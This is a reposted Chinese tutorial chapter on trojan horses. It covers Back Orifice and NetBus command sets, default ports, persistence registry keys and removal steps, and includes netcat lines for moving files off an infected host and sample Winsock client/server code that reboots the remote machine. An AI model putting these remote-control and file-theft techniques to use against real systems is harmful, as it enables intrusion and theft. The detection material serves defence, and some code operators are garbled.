分享
 
 
 

黑客技术 第9章 特洛伊木马实例及其简单实现

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

第九章

特洛伊木马实例及其简单实现

这里介绍一个比较阴险的威胁网络安全的方法:特洛伊木马(trojan horse,或trojan)。

第一节什么是特洛伊木马

特洛伊木马是一个程序,它驻留在目标计算里。在目标计算机系统启动的时候,自动启动。然后在某一端口进行侦听。如果在该端口受到数据,对这些数据进行识别,然后按识别后的命令,在目标计算机上执行一些操作。比如窃取口令,拷贝或删除文件,或重新启动计算机。

攻击者一般在入侵某个系统后,想办法将特洛伊拷贝到目标计算机中。并设法运行这个程序,从而留下后门。以后,通过运行该特洛伊的客户端程序,对远程计算机进行操作。

特洛伊木马的一个特点是,它能巧妙地运行在目标计算机系统里,而不容易被发现。

现在有许多这样的程序。如NetCat,Back Orifice,NetBus等等。

Back Orifice

Back Orifice简介

Back Orifice是Cult of the Dead Cow (cDc)在1998年8月3日发布的。目前的下载量达到了100,000。许多人都在善意或恶意地使用这个程序。尽管这个程序并不是最优秀的黑客工具,但由于媒体的炒做,使得这个工具给人么一个很坏的印象。

Back Orifice被称为“远程管理工具”。它可以附加在别的文件或程序后,也可以单独运行。它的服务器程序必须在目标计算机上运行之后,才能起到作用。一旦运行后,用户就不大容易感觉到它的存在。在任务列表里,根本就看不到它。该工具的服务器运行后,就一直在一个端口侦听从客户机来的命令,根据不同的命令,在目标机器上执行相应的操作。

Back Orifice的使用

Back Orifice(以下简称BO)是一个客户机/服务器(C/S)应用程序,其客户机程序(以下简称BO客户机)可以监视、管理和使用其它网络中运行服务器程序(以下简称BO服务器)的目标计算机所在的网络资源。基于文本和基于图形的BO客户机是运行在Microsoft Windows机器上。当前版本的BO服务器只能在Windows 95/98中运行。

Back Orifice软件包里包括:

bo.txt 软件包说明文档。

plugin.txt 插件编程文档。

boserve.exe Back Orifice服务器自安装程序。

bogui.exe 图形界面的Back Orifice客户机。

boclient.exe 文本界面的Back Orifice客户机。

boconfig.exe 配置BO服务器程序文件名、端口、密码和插件的工具。

melt.exe 对由freeze命令压缩的文档解压缩。

freeze.exe 压缩文档。压缩文档可被metl命令解压缩。

只要运行BO服务器程序,就可以安装BO服务器了。当BO服务器程序运行时,它安装BO服务器,然后删除自安装程序。此方法有助于网络环境下的安装:只要BO服务器程序被复制到Startup目录下就行了(译者注:因为Windows 95/98每次启动时都会运行该目录下的程序)。因为BO服务器程序在自安装BO服务器后就会删除自已。一旦BO服务器被安装到一台机器上,它会在每次机器启动时运行。

需要远程更新Back Orifice时,只要上载新版本的BO服务器程序到远程机上,使用Process spawn命令运行它。一旦运行,BO服务器程序将自动删除与它将要安装的文件同名的文件,安装自已(覆盖旧版本),然后在安装目录中运行自己,最后删除BO服务器程序。

在安装前,可以配置BO服务器程序的一些参数。如安装后的BO文件名、监听端口、加密密码,都可以使用boconfig.exe工具配置。如果不进行配置,缺省是监听31337端口、不使用加密密码(数据包仍然会加密)和以" .exe"文件名安装。

BO客户机通过加密了的UDP包与BO服务器通讯。要实现成功通讯,BO客户机城建发送数据到BO服务器监听的端口,而且BO客户机密码必须匹配BO服务器已配置好的密码。

基于图形和文本的BO客户机都可以通过使用-p选项来设置BO客户机数据包的发送端口。如果数据包被过滤或者有防火墙屏蔽,就可能需要从一个特别的、不会被过滤和屏蔽的端口发送。如果UDP连接通讯不能成功,则可能是数据包在发送或回送路径中被过滤或者屏蔽了。

从BO客户机向特定的IP地址发送命令即可对BO服务器操作。如果BO服务器无静态IP地址,则可使用以下方法:

(1) 在基于文本的BO客户机使用sweep或sweeplist命令;

(2) 在基于图形的BO客户机使用"Ping..."对话框;

(3) 设定目标IP如"1.2.3.*"。如果扫描子网列表,当有BO服务器响应时,BO客户机在子网列表目录中浏览,并显示所匹配的行和子网地址。(译者注:虽然我知道如何使用,但却无法按原文的内容表达出来。我在以后再作详细说明。)

以下是在现在版本的Back Orifice中已经实现的命令。在基于图形和基于文本的BO客户机里有些命令名称不相同,但几乎所有命令的语法格式都是一致的。在基于文本的BO客户机中输入 "help command"可得到更多关于命令的信息。在基于图形的BO客户机中有两个参数输入区域,这些参数作为在"Command"列表中所选择的命令的参数。如果未给出命令所需要的参数,BO服务器将返回"Missing data"(丢失数据)。

Back Orifice命令如下:

(基于图形的BO客户机命令/基于文本的BO客户机命令)

App add/appadd

在TCP端口输出一个基于文本的应用程序。它允许你通过Telnet对话控制基于文本或DOS的应用程序。

App del/appdel从监听的连接中关闭一个应用程序。

Apps list/applist列出当前监听的连接中的应用程序。

Directory create/md创建目录

Directory list/dir列出文件和目录。如要显示多文件/目录则须使用通配符。

Directory remove/rd删除目录

Export add/shareadd在BO服务器上创建一个“出口”(共享)。被输出(共享)的目录或驱动器图标不会出现共享图标。

Export delete/sharedel删除一个(共享)“出口”。

Exports list/sharelist列出当前共享名、共享驱动器、共享目录、共享权限和共享密码。

File copy/copy拷贝文件。

File delete/del删除文件。

File find/find在目录中查找符合条件(支持通配符)的文件。

File freeze/freeze压缩文件。

File melt/melt解压缩文件。

File view/view查看文件内容。

HTTP Disable/httpoff使HTTP服务器失效。

HTTP Enable/httpon使HTTP服务器有效。

Keylog begin/keylog将BO服务器上的击键记录在一个文本文件中,同时还记录执行输入的窗口名。

Keylog end停止击键记录。基于文本的BO客户机使用"keylog stop"命令。

MM Capture avi/capavi从视频输入设备(如果存在)捕捉视频和音频信号到avi文件中。

MM Capture frame/capframe从视频输入设备捕捉一个视频帧到一个位图文件中。

MM Capture screen/capscreen捕捉BO服务器屏幕影像到一们位图文件中。

MM List capture devices/listcaps列出视频输入设备。

MM Play sound/sound在BO服务器上播放一个avi文件。

Net connections/netlist列出当前接入和接出的连接。

Net delete/netdisconnect断开BO服务器的一个网络资源连接。

Net use/netconnect把BO服务器连接到一个网络资源。

Net view/netview查看BO服务器上所有的网络接口、域名、服务器和可见的共享“出口”。

Ping host/pingPing主机。返回主机名和BO版本。

Plugin execute/pluginexec运行BO插件。运行不符合BO插件接口的函数可能使B)服务器当机。

Plugin kill/pluginkill命令一个插件关闭。

Plugins list/pluginlist列出当前激活的插件和已存在的插件返回值。

Process kill/prockill终止一个进程。

Process list/proclist列出运行中的进程。

Process spawn/procspawn运行一个程序。在基于图形的BO客户机程序中,如果需要确定第二个参数,进程可能以一个正常的、可见的方式运行,否则进程的运行将是隐蔽或独立的。

Redir add/rediradd重定向接入的TCP连接或UDP数据包到另一个IP地址。

Redir del/redirdel停止端口重定向。

Redir list/redirlist列出激活的端口重定向。

Reg create key/regmakekey在注册表中创建中一个主键。

注:对于所有的注册表命令,不要在注册表键值前加入前导"\\"。

Reg delete key/regdelkey从注册表中删除一个主键。

Reg delete value/regdelval删除注册表中的一个键值。

Reg list keys/reglistkeys列出注册表中一个主键下的子键。

Reg list values/reglistvals列出注册表中一个主键的键值。

Reg set value/regsetval设置注册表一个主键的一个键值。键值格式为“类型,值”。对于二进制值(类型为B),值是一个两位的16进制数;对于DWORD(双字)值(类型为D),值是一个十进制数;对于字符串值(类型为S),值是一个文本串。

Resolve host/resolve解析BO服务器的主机名的IP地址。主机名可能是一个Internet主机名或本地网络机器名。

System dialogbox/dialog用所给出的文本和一个"OK"按钮,

在BO服务器上创建一个对话框。可以创建任意多的对话框,对话框的显示是堆叠式的。

System info/info显示BO服务器上的系统信息。包括机器名、当前用户、CPU类型、内存容量及可用内存、Windows版本、驱动器信息(类型(硬盘、CDROM、可拆卸型、远程驱动器)、硬盘驱动器容量及未使用空间)。

System lockup/lockup锁住BO服务器机器。

System passwords/passes显示被缓存的当前用户密码和屏幕保护密码。所显示的密码中可能含有一些无用信息。(译者注:如果密码未被系统缓存,则不能显示密码。)

System reboot/reboot关闭BO服务器主机并重启动。

TCP file receive/tcprecv将BO服务器主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中。

TCP file send/tcpsend将BO服务器主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接。

注:对于TCP文件传输,必须监听特定的IP地址和端口,直到TCP文件命令被发送,否则传输将会失败。

从BO服务器传输文件,可使用TCP文件发送命令和如下格式的netcat命令:

netcat -l -p 666 > file

传输文件到BO服务器,可使用TCP文件接收命令和如下格式的netcat命令:

netcat -l -p 666 < file

注:Win32版本的netcat命令在到达输入文件末部时并不断开连接。因此应在文件内容传输完毕后用ctrl-c或ctrl-break终止netcat命令。

BOConfig:

BOConfig.exe允许在BO服务器安装前配置一些可选项。首先询问BO服务器在系统目录中安装的可执行文件名。它不一定是.exe,但如果你不给出扩展名,它不会自动添加.exe扩展名;接着询问exe文件的描述,它描述了在注册表中记录的、系统启动时运行的exe文件;接着询问BO服务器监听(数据包)端口;接着询问用于加密的密码。要实现BO客户机到BO服务器的通讯,客户机必须配置有相同的密码,此密码可以为空;接着询问启动时缺省运行的插件。这个在BO服务器启动时自动运行的BO插件是以"DLL:_Function"格式定义的DLL和函数。此项可以为空;然后让你输入启动时传送给插件的参数,此项也可以为空;最后,询问被附加到BO服务器上的文件的路径。该文件将在BO服务器启动时写入系统目录。此文件可以是一个自动启动的BO插件。

BO服务器在没有进行配置时也能运行。缺省地,安装BO服务器文件名为" .exe",无密码,使用端口31337通讯。

已知的Bugs和问题:

多媒体捕捉屏幕——所产生的位图是按BO服务器端的显示分辨率和像素深度保存的。因此,它可能是16位或24位颜色的。大多数图形应用程序只能处理8位或32位位图,因而不能打开此位图,或者显示不正常(此类软件包括Graphics Workshop for Windows、Photoshop和WANG Imaging distributed with Windows)。但是,Windows本身有一个应用程序Paint.exe可以浏览这些位图,按其提示操作即可。

击键记录——很显然,MS-DOS窗口未提供信息循环机制,这就使得BO无法记录输入到其中的击键。

基于文本的应用程序的TCP重定向——有几个Bugs。

当用command.com的重定向名柄输出command.com时,系统同时输出REDIR32.EXE,此程序似乎是无法终止的。这可能是由于操作系统接口与一个tsr模块(该模块在DOS对话中被装载以重定向输入/输出句柄)通讯所造成的。因此,如果在应用程序被终止(或退出)前终止TCP连接,REDIR32.exe和WINOA386.MOD(用于封装管理旧16位应用程序)将仍然运行,BO和操作系统均无法终止它们。这会导致系统显示"Please wait..."(请等待)屏幕且无法关机。

某些控制台应用程序重定向了输出时也可能会发生问题,如FTP.exe和boclient.exe。虽然程序的输出因此而不能传送出去,但仍然可能传送输入,所以你要通过TCP对话使该程序退出。否则使用BO杀死该进程。

Back Orifice的检查和清除

打开注册表编辑器,检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices主键的键值。如果你在主键看到的如下的一个键值:

Name Data

(缺省) " .exe" (一个空格,一个点号和exe后缀)

那么你可能已经感染上了Back Orifice了。然后在C:\WINDOWS\SYSTEM目录下,如果发现一个" .exe"文件,文件大小为122K左右,那么你肯定感染了这个程序了。

清除的方法很简单。首先将上述主键中的有关" .exe"的项目删除,然后重新启动计算机。接着,将C:\WINDOWS\SYSTEM下的" .exe"删除,最后,找一个叫WINDLL.DLL的文件,也将它删除。

注意,有可能你的系统里有好几个Back Orifice的拷贝,要逐一清除。

NetBus

Netbus 是一个类似于著名的 Back Orifice 的黑客软件,区别在于它的能力要强出太多。Netbus 通过 TCP/IP 协议,可以远程将应用程序指派到某一套接字端口来运行。这就相当于说可以远程运行目标机器上的 cmd.exe,想想这是多么危险的事情。

如果不是 the Cult of the Dead Cow 黑客组织在1998年的 DefCon 大会上发布 BackOrifice 工具而引起轩然大波的话,可能大多数人还不会注意到三月份发行的 Netbus。据说 Netbus 是瑞典程序员 Carl-Fredrik Neikter 为了“和朋友们消遣”而编写的。

粗粗一看,Netbus 似乎没什么危害,只允许黑客控制鼠标,播放声音文件,甚或打开 CD-ROM 托架。但如果深入分析,就不难发现其中大量的破坏性功能,特别它是基于 TCP/IP 协议在 Windows 95、Windows 98、和 Windows NT 上运行的(与 BackOrifice 不同),这大大增加了各种入侵用户系统的可能性。

Netbus 1.6 版能实现一些相当危险的操作:黑客能够运行远程程序,进行屏幕抓图,在所侵入的计算机浏览器中打开 URL,显示位图,进行服务器管理操作(如更改口令),甚至利用远端的麦克风录制一段声音。更可怕的是:它能在侵入的计算机上显示信息,向毫无戒心的用户提示输入口令,再把该口令返回到入侵者的屏幕上。Netbus 还能关闭 Windows 系统,下载、上载或删除文件。

11 月 14 日发行 的 Netbus 1.7 新增了更多不正当的功能。如:重定向功能(Redirection)使黑客能够控制网络中的第三台机器,从而伪装成内部客户机。这样,即使路由器拒绝外部地址,只允许内部地址相互通信,黑客也依然可以占领其中一台客户机并对其它无数台机器进行控制。

V1.7 甚至还能指派应用软件至某个端口。以前只有 Netcat — 黑客的梦幻工具— 用于 Unix 和 NT 时才具有这种功能。例如,黑客可以将 cmd.exe 指派至 Telnet port 23,然后 Telnet 进入该机器,从而接管系统的命令提示符。其危险后果不言自明。

Netbus 的默认状态是在 port 12345 接收指令,在 port 12346 作应答。Telnet 登录到接收端口就会看到产品名称及版本号,还可以修改口令。Netbus 能通过编辑 patch.ini 配置文件,把 1 到 65535 之间的任意数字指定为端口。当需要绕过防火墙或路由过滤器时,端口通常就会设为 53(DNS)或 80(HTTP)。

所有的特洛伊木马都分成两个部分:服务器和客户机。

V1.7版本的NetBus的服务器的默认文件名是patch.exe。运行这个程序后,它将自己拷贝到Windows目录下,并从中解开一个叫KeyHook.dll的动态连接库。默认的,它创建一个主键HKEY_CURRENT_USER\PATCH。并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下创建了一个键,它的值是patch.exe文件的路径名。这使得在每次系统启动时,都能自动运行patch.exe这个程序。除此外,还创建下面两个键:HKEY_CURRENT_USER\NETBUS和HKEY_CURRENT_USER\NETBUS\Settings

按照上面的描述,清除方法就自然出来了。

第二节特洛伊木马的一个简单实现

通过上面的两个实例介绍,基本上就能看出特洛伊木马的工作原理。这里我们仅仅介绍用Winsock实现的一个客户机程序和一个服务端程序。

这个实例中的服务器在接到客户机的命令后会重新启动计算机。

可以在这两个程序的基础上,加入一些命令,对目标系统进行一些修改。比如拷贝文件等等。

这两个程序是从微软的MSDN上拿下来的,略微作了点增加。在VC++6.0中编译运行的。注意在连接的时候要加入:wsock32.lib库。

ExitWindowsEx 函数介绍

ExitWindowsEx函数的功能是关闭系统,注销用户和重新启动系统。

它的函数原型是:

BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved);

第一个参数用来指定操作的类型。

常见的有下面几个:

EWX_POWEROFF:关闭系统及关闭电源。

EWX_REBOOT:重新启动计算机。

EWX_SHUTDOWN:关闭系统,但不关闭电源。

第二个参数可以指定任意值,并没有特定意义。

具体有关在Linux和Windows下进行SOCKET编程的细节,请参见相关章节。

服务器程序:

#include < windows.h>

#include < winsock.h>

#define PORTNUM 5000 // Port number

#define MAX_PENDING_CONNECTS 4 // Maximum length of the queue

// of pending connections

int WINAPI WinMain (

HINSTANCE hInstance, // Handle to the current instance

HINSTANCE hPrevInstance,// Handle to the previous instance

LPTSTR lpCmdLine, // Pointer to the command line

int nCmdShow) // Show state of the window

{

int index = 0, // Integer index

iReturn; // Return value of recv function

char szServerA[100]; // ASCII string

TCHAR szServerW[100]; // UNICODE string

TCHAR szError[100]; // Error message string

SOCKET WinSocket = INVALID_SOCKET, // Window socket

ClientSock = INVALID_SOCKET; // Socket for communicating

// between the server and client

SOCKADDR_IN local_sin, // Local socket address

accept_sin; // Receives the address of the

// connecting entity

int accept_sin_len; // Length of accept_sin

WSADATA WSAData; // Contains details of the Windows

// Sockets implementation

// Initiate Windows Sockets.

if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

return FALSE;

}

// Create a TCP/IP socket, WinSocket.

if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)

{

wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

return FALSE;

}

// Fill out the local socket's address information.

local_sin.sin_family = AF_INET;

local_sin.sin_port = htons (PORTNUM);

local_sin.sin_addr.s_addr = htonl (INADDR_ANY);

// Associate the local address with WinSocket.

if (bind (WinSocket,

(struct sockaddr *) &local_sin,

sizeof (local_sin)) == SOCKET_ERROR)

{

wsprintf (szError, TEXT("Binding socket failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

closesocket (WinSocket);

return FALSE;

}

// Establish a socket to listen for incoming connections.

if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)

{

wsprintf (szError,

TEXT("Listening to the client failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

closesocket (WinSocket);

return FALSE;

}

accept_sin_len = sizeof (accept_sin);

// Accept an incoming connection attempt on WinSocket.

ClientSock = accept (WinSocket,

(struct sockaddr *) &accept_sin,

(int *) &accept_sin_len);

// Stop listening for connections from clients.

closesocket (WinSocket);

if (ClientSock == INVALID_SOCKET)

{

wsprintf (szError, TEXT("Accepting connection with client failed.")

TEXT(" Error: %d"), WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

return FALSE;

}

for (;;)

{

// Receive data from the client.

iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);

// Check if there is any data received. If there is, display it.

if (iReturn == SOCKET_ERROR)

{

wsprintf (szError, TEXT("No data is received, recv failed.")

TEXT(" Error: %d"), WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Server"), MB_OK);

break;

}

else if (iReturn == 0)

{

MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),

MB_OK);

ExitWindowsEx(EWX_REBOOT,0); //restart windows

break;

}

else

{

// Convert the ASCII string to the UNICODE string.

for (index = 0; index < = sizeof (szServerA); index++)

szServerW[index] = szServerA[index];

// Display the string received from the client.

MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);

}

}

// Send a string from the server to the client.

if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)

== SOCKET_ERROR)

{

wsprintf (szError,

TEXT("Sending data to the client failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

}

// Disable both sending and receiving on ClientSock.

shutdown (ClientSock, 0x02);

// Close ClientSock.

closesocket (ClientSock);

WSACleanup ();

return TRUE;

}

客户端程序:

#include < windows.h>

#include < winsock.h>

#define PORTNUM 5000 // Port number

#define HOSTNAME "localhost" // Server name string

// This should be changed

// according to the server

int WINAPI WinMain (

HINSTANCE hInstance, // Handle to the current instance

HINSTANCE hPrevInstance,// Handle to the previous instance

LPTSTR lpCmdLine, // Pointer to the command line

int nCmdShow) // Show state of the window

{

int index = 0, // Integer index

iReturn; // Return value of recv function

char szClientA[100]; // ASCII string

TCHAR szClientW[100]; // UNICODE string

TCHAR szError[100]; // Error message string

SOCKET ServerSock = INVALID_SOCKET; // Socket bound to the server

SOCKADDR_IN destination_sin; // Server socket address

PHOSTENT phostent = NULL; // Points to the HOSTENT structure

// of the server

WSADATA WSAData; // Contains details of the Windows

// Sockets implementation

// Initiate Windows Sockets.

if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

return FALSE;

}

// Create a TCP/IP socket that is bound to the server.

if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)

{

wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

return FALSE;

}

// Fill out the server socket's address information.

destination_sin.sin_family = AF_INET;

// Retrieve the host information corresponding to the host name.

if ((phostent = gethostbyname (HOSTNAME)) == NULL)

{

wsprintf (szError, TEXT("Unable to get the host name. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

closesocket (ServerSock);

return FALSE;

}

// Assign the socket IP address.

memcpy ((char FAR *)&(destination_sin.sin_addr),

phostent->h_addr,

phostent->h_length);

// Convert to network ordering.

destination_sin.sin_port = htons (PORTNUM);

// Establish a connection to the server socket.

if (connect (ServerSock,

(PSOCKADDR) &destination_sin,

sizeof (destination_sin)) == SOCKET_ERROR)

{

wsprintf (szError,

TEXT("Connecting to the server failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

closesocket (ServerSock);

return FALSE;

}

// Send a string to the server.

if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)

== SOCKET_ERROR)

{

wsprintf (szError,

TEXT("Sending data to the server failed. Error: %d"),

WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Error"), MB_OK);

}

// Disable sending on ServerSock.

shutdown (ServerSock, 0x01);

for (;;)

{

// Receive data from the server socket.

iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);

// Check if there is any data received. If there is, display it.

if (iReturn == SOCKET_ERROR)

{

wsprintf (szError, TEXT("No data is received, recv failed.")

TEXT(" Error: %d"), WSAGetLastError ());

MessageBox (NULL, szError, TEXT("Client"), MB_OK);

break;

}

else if (iReturn == 0)

{

MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),

MB_OK);

break;

}

else

{

// Convert the ASCII string to the UNICODE string.

for (index = 0; index < = sizeof (szClientA); index++)

szClientW[index] = szClientA[index];

// Display the string received from the server.

MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);

}

}

// Disable receiving on ServerSock.

shutdown (ServerSock, 0x00);

// Close the socket.

closesocket (ServerSock);

WSACleanup ();

return TRUE;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有